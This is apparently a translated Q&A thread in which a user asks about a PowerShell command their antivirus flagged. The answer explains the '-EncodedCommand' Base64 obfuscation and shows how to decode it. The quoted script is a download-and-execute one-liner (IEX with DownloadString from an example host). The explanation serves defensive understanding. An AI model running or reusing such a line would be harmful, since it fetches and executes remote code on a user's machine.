powershell - 可疑的 PowerShell 命令
问题描述
我的防病毒软件不断通过下面提到的 powershell 命令提醒我。我对 Powershell 有点熟悉,但不明白 powershell 脚本下面的作用。另外最重要的是我想知道命令行中使用的“-e”参数是什么
可疑的命令行:
powershell -e sqbfafgakaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqbl
可疑脚本:
IEX(New-Object Net.WebClient).DownloadString('https://example.org/xmpsdh')
解决方案
至于脚本:
IEX((New-Object Net.WebClient).DownloadString('https://example.org/xmpsdh'))
从给定的 URL下载一个字符串并尝试将其作为 PowerShell 命令执行,通过(通常要避免的)cmdletIEX
的内置别名。Invoke-Expression
换句话说:它从网站下载未知的 PowerShell 命令并执行它们。
至于命令行:
-e
是PowerShell CLI-EncodedCommand
参数的缩写,它接受作为Base64编码字符串的命令。
此参数的目的是启用复杂命令字符串的稳健传递,而不会遇到引用和转义问题。
然而,恶意软件使用该参数作为一种混淆技术:您无法轻易判断该命令在做什么。
例子:
# -e is short for -EncodedCommand
powershell -e RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA
相当于:
powershell -Command "Get-Date -Format yyyy"
您可以对给定的 Base64 编码参数进行解码,如下所示:
$base64 = 'RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA'
# -> 'Get-Date -Format yyyy'
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64))
相反,如果您想对字符串进行Base64 编码-EncodedCommand
:
$command = 'Get-Date -Format yyyy'
# -> 'RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
推荐阅读
- python - 将文件字段编码和解码为字节
- python - 我无法理解 LSTM 的预测输出
- c - 使用 __asm__ 命令后 C 函数不返回
- angular - ngx-leaflet-draw:导入没有 ɵmod 属性的模块
- python-3.x - 出现错误 - 资源 localhost/Variable_7/class tensorflow::Var 不存在
- rtsp - 了解 RTSP 请求的 BNF 表示法
- css - 如何保持 CSS 动画元素属性成为另一个动画的初始属性?
- r - 如何根据 R 中的 i 创建对象名称的 for 循环?
- typescript - 用另一个数组过滤一个对象数组
- azure-devops - 在 azure 文件复制任务中使用 glob 模式